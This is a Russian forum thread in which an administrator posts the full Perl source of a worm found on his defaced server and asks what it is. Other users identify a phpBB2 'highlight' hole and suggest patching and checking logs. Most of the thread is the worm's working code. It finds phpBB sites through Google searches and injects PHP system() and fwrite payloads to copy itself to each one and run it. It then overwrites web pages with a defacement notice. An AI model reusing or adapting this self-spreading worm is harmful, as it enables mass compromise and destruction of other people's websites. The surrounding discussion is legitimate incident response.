powered by simpleCommunicator - 2.0.59     © 2026 Programmizd 02
Целевая тема:
Создать новую тему:
Автор:
Закрыть
Цитировать
Форумы / Unix-системы [игнор отключен] [закрыт для гостей] / Сервак поломали хакеры :)
10 сообщений из 10, страница 1 из 1
Сервак поломали хакеры :)
    #32836608
Товарисч
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Утречком юные (или не очень) хакеры поломали сервак....
Повезло, пришёл через 10 минут после этого, заметил, исправил. Так и не понял другое - как? Все странички заменены, до кучи лежит скрипт на PERL посреди data-dist
Код: plaintext
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
93.
94.
95.
96.
97.
98.
99.
100.
101.
102.
103.
104.
105.
106.
107.
108.
109.
110.
111.
112.
113.
114.
115.
116.
117.
118.
119.
120.
121.
122.
123.
124.
125.
126.
127.
128.
129.
130.
131.
132.
133.
134.
135.
136.
137.
138.
139.
140.
141.
142.
143.
144.
145.
146.
147.
148.
149.
150.
151.
152.
153.
154.
155.
156.
157.
158.
159.
160.
161.
162.
163.
164.
165.
166.
167.
168.
169.
170.
171.
172.
173.
174.
175.
176.
177.
178.
179.
180.
181.
182.
183.
184.
185.
186.
187.
188.
189.
190.
191.
192.
193.
194.
195.
196.
197.
198.
199.
200.
201.
202.
203.
204.
205.
206.
207.
208.
209.
210.
211.
212.
213.
214.
215.
216.
#!/usr/bin/perl
use strict;
use Socket;

sub PayLoad();
sub DoDir($);
sub DoFile($);
sub GoGoogle();
sub GrabURL($);
sub str2chr($);

eval{ fork and exit; };

my $generation =  14 ;
PayLoad() if $generation >  3 ;

open IN, $ 0  or exit;
my $self = join '', <IN>;
close IN;
unlink $ 0 ;

while(!GrabURL('http://www.google.com/advanced_search')) {

	if($generation >  3 ) {
		PayLoad() ;
	} else {
		exit;
	}
}

$self =~ s/my \$generation = (\d+);/'my $generation = ' . ($ 1  +  1 ) . ';'/e;


my $selfFileName = 'm1ho2of';
my $markStr = 'HYv9po4z3jjHWanN';
my $perlOpen = 'perl -e "open OUT,q(>' . $selfFileName . ') and print q(' . $markStr . ')"';
my $tryCode = '&highlight=%2527%252Esystem(' . str2chr($perlOpen) . ')%252e%2527';


while( 1 ) {

	exit if -e 'stop.it';

OUTER: for my $url (GoGoogle()) {

	exit if -e 'stop.it';

	$url =~ s/&highlight=.*$//;
	$url .= $tryCode;
	my $r = GrabURL($url);
	next unless defined $r;
	next unless $r =~ /$markStr/;

	while($self =~ /(.{ 1 , 20 })/gs) {

		my $portion = '&highlight=%2527%252Efwrite(fopen(' . 
			str2chr($selfFileName) . ',' . str2chr('a') . '),' . str2chr($ 1 ) .
			'),exit%252e%2527';

		$url =~ s/&highlight=.*$//;
		$url .= $portion;
		next OUTER unless GrabURL($url);
	}

	my $syst = '&highlight=%2527%252Esystem(' . str2chr('perl ' . $selfFileName) .
		')%252e%2527';
	$url =~ s/&highlight=.*$//;
	$url .= $syst;
	GrabURL($url);
}
}


sub str2chr($) {

	my $s = shift;

	$s =~ s/(.)/'chr(' . ord($ 1 ) . ')%252e'/seg;
	$s =~ s/%252e$//;
	return $s;
}


sub GoGoogle() {

	my @urls;

	my @ts = qw/t p topic/;

	my $startURL = 'http://www.google.com/search?num=100&hl=en&lr=&as_qdr=all' .
		'&q=allinurl%3A+%22viewtopic.php%22+%22' . 
		$ts[int(rand(@ts))] . '%3D' . int(rand( 30000 )) . '%22&btnG=Search';

	my $goo1st = GrabURL($startURL);

	return unless defined $goo1st;

	my $allGoo = $goo1st;

	my $r = '<td><a href=(/search\?q=.+?)' .
		'><img src=/nav_page\.gif width=16 height=26 alt="" border=0><br>\d+</a>';

	while($goo1st =~ m#$r#g) {

		$allGoo .= GrabURL('www.google.com' . $ 1 );
	}


	while($allGoo =~ m#href=(http://\S+viewtopic.php\S+)#g) {

		my $u = $ 1 ;
		next if $u =~ m#http://.*http://#i; # no redirects
		push(@urls, $u);
	}

	return @urls;
}


sub GrabURL($) {

	my $url = shift;
	$url =~ s#^http://##i;

	my ($host, $res) = $url =~ m#^(.+?)(/.*)#;
	return unless defined($host) && defined($res);

	my $r = "GET $res HTTP/1.0\015\012" .
			"Host: $host\015\012" .
			"Accept: */*\015\012" .
			"Accept-Language: en-us,en-gb;q=0.7,en;q=0.3\015\012" .
			"Pragma: no-cache\015\012" .
			"Cache-Control: no-cache\015\012" .
			"Referer: http://" . $host . $res . "\015\012" .
			"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\015\012" .
			"Connection: close\015\012\015\012";

	my $port =  80 ;
	if($host =~ /(.*):(\d+)$/){ $host = $ 1 ; $port = $ 2 ;}

	my $internet_addr = inet_aton($host) or return;
	socket(Server, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or return;
	setsockopt(Server, SOL_SOCKET, SO_RCVTIMEO,  10000 );
	connect(Server, sockaddr_in($port, $internet_addr)) or return;
	select((select(Server), $| =  1 )[ 0 ]);
	print Server $r;
	my $answer = join '', <Server>;
	close(Server);

	return $answer;
}


sub DoFile($) {

	my $s = q{<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>This site is defaced!!!</TITLE>
</HEAD><BODY bgcolor="#000000" text="#FF0000">
<H1>This site is defaced!!!</H1>
<HR>
<ADDRESS><b>NeverEverNoSanity WebWorm generation } . $generation .q{.</b></ADDRESS>
</BODY></HTML>
};

	unlink $_[ 0 ];
	open OUT, ">$_[0]" or return;
	print OUT $s;
	close OUT;
}


sub DoDir($) {

	my $dir = $_[ 0 ];
	$dir .= '/' unless $dir =~ m#/$#;

	local *DIR;
	opendir DIR, $dir or return;

	for my $ent (grep { $_ ne '.' and $_ ne '..' } readdir DIR) {

		unless(-l $dir . $ent) {
			if(-d _) {
				DoDir($dir . $ent);
				next;
			}
		}

		if($ent =~ /\.htm/i or $ent =~ /\.php/i or $ent =~ /\.asp/i or $ent =~ /\.shtm/i
			or $ent =~ /\.jsp/i or $ent =~ /\.phtm/i) {

			DoFile($dir . $ent);
		}
	}

	closedir DIR;
}


sub PayLoad() {

	my @dirs;

	eval{
		while(my @a = getpwent()) { push(@dirs, $a[ 7 ]);}
	};

	push(@dirs, '/');

	for my $l ('A' .. 'Z') {
		push(@dirs, $l . ':');
	}

	for my $d (@dirs) { DoDir($d); }
}
Чё это такое?
P.S. FreeBSD4.9, apache1.3.28 mod_gzip/1.3.26.1a PHP/4.3.3
Я в перл ни бум-бум....
Самое интересное - как оно туда попало?
Народ, куда рыть, чё делать? Пароли поменял.... Сайт восстановил... Что ещё можно сделать, чтоб не повторилось?
...
Рейтинг: 0 / 0
Сервак поломали хакеры :)
    #32836658
Фотография lissyara
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
А это известная дырка форума phpBB2 к которой уже выпущена залатка.
...
Рейтинг: 0 / 0
Сервак поломали хакеры :)
    #32837846
DocAl
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Да уж, дырка оччень гадкая...
Если интересно, как именно покоцали -- грепай логи апача насчёт viewtopic.php и чего-нить подозрительного, типа там cat, ls, просто ";".
...
Рейтинг: 0 / 0
Сервак поломали хакеры :)
    #32838959
salt
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Смотрим сюда.
http://www.phpbb.com/phpBB/viewtopic.php?t=240513
...
Рейтинг: 0 / 0
Сервак поломали хакеры :)
    #32842613
Фотография Alex Rootoff
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Я рекомендовал бы чаще апдейтить Фрю, Апач, ПХП, а также заглядывать на securitylab.ru, securityfocus.org, insecure.org, etc.


With best regards Alex Rootoff
...
Рейтинг: 0 / 0
Сервак поломали хакеры :)
    #32842740
DocAl
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Да сколько ни апдейть, если юзера за дырявыми форумами своими не следят, то результат тот же...
...
Рейтинг: 0 / 0
Сервак поломали хакеры :)
    #32842820
Фотография Alex Rootoff
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Показал бы логи...


With best regards Alex Rootoff
...
Рейтинг: 0 / 0
Сервак поломали хакеры :)
    #32843126
Фотография lissyara
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
http://www.computerra.ru/think/sentinel/37208/
Вот и объяснение, что за скрипт. Вирус енто.
...
Рейтинг: 0 / 0
Сервак поломали хакеры :)
    #32843181
Товарисч
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Логи. Только толку?
...
Рейтинг: 0 / 0
Сервак поломали хакеры :)
    #32846891
Фотография Alex Rootoff
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Любопытства ради.


With best regards Alex Rootoff
...
Рейтинг: 0 / 0
10 сообщений из 10, страница 1 из 1
Форумы / Unix-системы [игнор отключен] [закрыт для гостей] / Сервак поломали хакеры :)
Найденые пользователи ...
Разблокировать пользователей ...
Читали форум (0):
Пользователи онлайн (0):
x
x
Закрыть


Просмотр
0 / 0
Close
Debug Console [Select Text]